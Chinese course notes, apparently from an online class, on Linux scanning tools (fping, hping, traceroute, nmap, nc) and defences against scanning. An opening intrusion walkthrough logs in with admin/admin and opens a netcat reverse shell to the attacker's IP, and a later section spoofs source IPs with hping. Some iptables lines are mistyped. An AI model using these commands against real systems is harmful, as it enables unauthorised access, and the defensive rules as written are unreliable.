Linux系统扫描技术及其安全防范

网络安全技术>>互联网安全:保障数据在互联网的真实、可靠、完整、可控性传输与存储。真实:数据是原数据,而不是别人发的;可靠:数据是安全的,没有被篡改;完整:数据没有丢失;可控:数据可以被自己加密。
一个典型的网络安全事件,案例:通过网络扫描方式获取某运营商核心设备的管理权限
      ⑴:通过tracert路由跟踪一个公网地址,发现有走内网的核心设备转发。
          在Windows下的CMD输入
           tracert www.jd.com       可以得到当前IP至目标服务器的路由路径
      ⑵:通过端口范围扫描nmap,得知开发了80(http)、23(telnet)端口
          nmap用作批量主机服务扫描
      ⑶:尝试进行暴力破解,发现登陆http://10.202.4.73
          可以用弱口令进行登陆(admin、admin)
      ⑷:登陆到管理界面后,尝试用nc命令进行交互式shell操作(创建后门)
          ①、黑客电脑CMD上  nc -lvp 2005
              黑客监听自己的2005端口
          ②、登陆后在服务器上 nc 10.68.104.6 2005 -e /bin/bash
              将/bin/bash环境传给黑客IP的2005端口
              黑客可以在自己的CMD下使用Linux命令
              优点:不会频繁通过界面登陆留下痕迹
                    登陆非常方便
                    不会被侦听设备侦测到
      ⑸:可以进行任意的操作
      ⑹:总结:
          ①、网络入侵方式
              踩点(判断攻击目标)→网络扫描(分析弱点)→查点(尝试破解)→提权
          ②、tracert  nmap  nc  命令的使用
课程意义:了解互联网安全领域中日趋重要的扫描技术;了解不同网络场景下扫描技术的手段;熟悉Linux下系统内核防护策略并能搭建一个有效的系统防护体系;增强工作安全意识,并能有效的实践自身的工作中。
 
一、主机扫描
⑴、fping工具
1、fping:批量的给目标主机发送ping请求,测试主机的存活情况
特点:并行发送(同时ping多台机器)、结果易读
 
插入新知识点:源码包编译过程(顺序由左至右,步骤由上至下)
编译方法             命令             产物(生成文件)
检测配置  →→→  ./configure   →→→   Makefile
↓                   ↓                 ↓
编译      →→→    make     →→→  二进制可执行文件
安装      →→→   make install  →→→  安装到指定目录
 
2、fping安装步骤
①、获取下载源码包(http://fping.org/),复制源码包链接地址
②、在Linux命令下输入wget和粘贴地址 http://fping.org/dist/fping-3.10.tar.gz
③、解压缩:tar -xvf fping-3.10.tar.gz
④、ls      cd fping-3.10      #可以查看INSTALL  README 文件
⑤、./configure                #生成Makefile文件
⑥、make                       #编译
⑦、ls       make install      #查看、安装
⑧、ls /usr/local/sbin/fping   #查看是否安装成功
⑨、fping -h                   #查看命令帮助
    man fping
 
3、fping参数及使用
fping [选项]
       -a            #只显示存活的主机(相反选项-u)
通过标准输入方式  fping + ip1 + ip2
       -g            #支持主机段192.168.1.1-255段全部扫描
                      或者192.168.1.0/24      24为子网掩码
通过读取一个文件中IP内容
fping -f fliename
 
例如:fping 10.10.140.221 10.10.140.222        #扫描主机段
      fping -a 10.10.140.221 10.10.140.222     #扫描主机段只显示存活
      fping -a -g 10.10.140.1/24  #通过子网掩码(相当于扫描1-255主机段)
      fping -a -f ./ip_list.txt   #从文件中提取IP并扫描只显示存活主机
⑵、hping工具(特点:支持使用的TCP/IP数据包组装、分析工具)
1、下载地址:http://www.hping.org/
2、下载安装
   wget https://github.com/antirez/hping/archive/master.zip
   file master
   unzip master            #unzip注意 是否需要安装
   ls      cd hping-master/
   ./configure
   make
   apt-get install libpcap-devel或者yum install libpcap-devel  #安装依赖
   #依赖安装包下载安装地址(rpmfind.net  搜索源码包名称下载)
   rpm -ivh libpcap-devel-1.0.0-6.20091201git117cb5.el6.x86_64.rpm
   rpm -qa | grep pcap_devel        #查找是否安装成功
   cd hping-master/
   ./configure
   make
   ./hping3 -v                      #查看安装版本
   make install                     #安装成功
   hping -h                         #查看命令帮助
3、hping 常用参数
   ①、对特定目标端口发起tcp探测
       hping -p 端口              #对某个端口进行探测
       hping -S                   #发送TCP模式的SYN包(三次握手)
   ②、伪造来源IP,模拟DDOS攻击
       hping -a                   #伪造IP地址来源
   ③、示例:
       netstat -ltn    #-l监听、-ttcp协议、-n不做主机名解析,只显示IP地址
       sysctl -w net.ipv4.icmp_echo_ignore_all=1    
       #目标机通过内核拒绝ipv4协议对服务进行ping,那么普通ping和fping均会拼不通,而hping则可以通过TCP协议探测方式拼通(Windows下发送的是icmp包,而Linux下发送的是UDP包)
       hping -p 22 -S 10.10.163.233    #hping
       ping 10.10.163.233              #普通ping
       fping -u 10.10.163.233          #fping
 
       目标服务器查询网卡监听的数据包
       tcpdump -np -ieth0
       tcpdump -np -ieth0 src host 10.10.163.232    
       #目标机器过滤只看这个IP的监听,进行抓包监听
       hping -p 22 -S 10.10.163.233 -a 10.10.163.235   
       #攻击机伪造IP进行请求
       tcpdump -np -ieth0 src host 10.10.163.232
       #再次抓包看到没有数据包请求
       tcpdump -np -ieth0 src host 10.10.163.235
       #看到了这个IP的数据包请求,证明攻击机伪造IP成功
 
二、路由扫描:查询一个主机到另一个主机经过的路由的跳数、数据延迟的情况
⑴、traceroute工具
    ①、tracerout工作原理

tracerout工作原理

注释:Linux发送DUP报文给路由1,路由1将结果返回给原地址服务器
          Linux发送DUP报文给路由2,路由2将结果返回给原地址服务器
          Linux发送DUP报文给路由3,路由3将结果返回给原地址服务器
          以此类推 最后发送到目标主机,目标主机返回结果
    ②、traceroute --help   (默认已经安装,查看帮助信息)
        ※traceroute参数介绍
          、默认使用的UDP协议(30000以上的端口)(发三次包对应时间有三个)
              traceroute www.imooc.com
              traceroute -n www.imooc.com
          、可以使用TCP协议
              -T
              -p
              traceroute -T -p 80 n www.imooc.com
          、使用ICMP协议介绍(Windows默认使用这个协议)
              -I
              traceroute -In www.imooc.com
              imooc禁止UDP、ICMP协议返回结果,只有TCP协议可以返回IP信息
⑵、mtr工具  特点:能测试出主机到每一个路由间的联通性。
    默认也是安装的,man mtr 获取帮助信息
    mtr www.imooc.com
 
三、批量服务扫描
目的:1、批量主机存活扫描;2、针对主机服务扫描。
作用:1、能方便快捷获取网络中主机的存活状态;
      2、更加细致、智能获取主机服务侦查情况。
典型命令:nmap   ncat
⑴、nmap命令的使用介绍
    扫描类型                  描述              特点
    ICMP协议类型(-sP)        ping扫描         简单、快速、有效
    TCP SYN扫描(-sS)        TCP半开放扫描    高效、不易检测、通用
    TCP connect()扫描(-sT)   TCP全开放扫描    真实、结果可靠
    UDP扫描(-sU)            UDP协议扫描      有效透过防火墙策略
    对应例子如下:
    nmap -sP 10.10.140.0/24
    nmap -sS 10.10.163.233
    (nmap -sS -p 0-30000 10.10.163.233)
    nmap -sT -p 0-30000 10.10.163.233
    nmap -sU 10.10.163.233
    注释:半开放是没有完整的三次握手;nmap默认端口扫描范围为0-1024,加上一些默认的端口号,因此就可以加上-p参数进行端口号的自定义扫描;TCP connect()扫描(-sT)可以模拟真实的用户请求;UDP扫描(-sU)扫描返回结果时间太长(可能达到10小时)
⑵、ncat工具的使用
    组合参数:
    -w        #设置的超时时间,后面跟限制超时的时间秒数
    -z        #一个输入输出模式
    -v        #显示命令执行过程
    ①、基于TCP协议(默认)
        nc -v -z -w2 10.10.250.254 1-50      #1-50为端口范围
    ②、基于udp协议(加上-u)
        nc -v -u -z -w2 10.10.250.254 1-50
 
四、Linux防范恶意扫描安全策略
⑴、预防策略
    常见攻击方法:
    1、SYN攻击:利用TCP协议缺陷导致服务停止响应、网络带宽拥堵;
                 一般会伴随DDOS攻击,是常见的攻击方式; 
       SYN攻击原理:攻击机第一次握手发送SYN包给目标机器,目标机器回应并在本机增加记录加入处理队列,由于是伪装攻击,所以不会再有响应,目标服务器继续发送回应包,且队列等待。
       解决方法:减少服务器回应次数和等待队列长度。(如下)
       ①、减少发送syn+ack包重试次数(临时通过内核命令)
       sysctl -w net.ipv4.tcp_synack_retries=3
       sysctl -w net.ipv4.tcp_syn_retries=3
       永久更改配置文件  /etc/sysctl.config文件(具体文件待确认!!!)
       ②、SYN cookies技术(当队列快满时不再等待)
       sysctl -w net.ipv4.tcp_syncookies=1
       ③、设定backlog队列长度(讲师说增加长度,但队列增加能减少服务器压力?)
       sysctl -w net.ipv4.tcp_max_syn_backlog=2048
    2、DDOS攻击:分布式访问拒绝服务攻击(巨量的正常、不正常的服务)
                  
    3、恶意扫描
⑵、Linux下其他预防策略
    ①、关闭ICMP协议请求:
        sysctl -w net.ipv4.icmp_echo_ignore_all=1
    ②、通过iptables防止扫描(下面有详细课程)
iptables -A FORWARD -p tcp -syn -m limit -limit 1/s -limit-burst 5 -j ACCEPT
iptables -A FORWARD -p tcp -tcp-flags SYN,ACK,FIN,RST RST -m limit -limit 1/s -j ACCEPT
iptables -A FORWARD -p icmp -icmp-type echo-request -m limit -limit 1/s -j ACCEPT

请按F5,刷新后再评论
  • 全部评论(0
    还没有评论,快来抢沙发吧!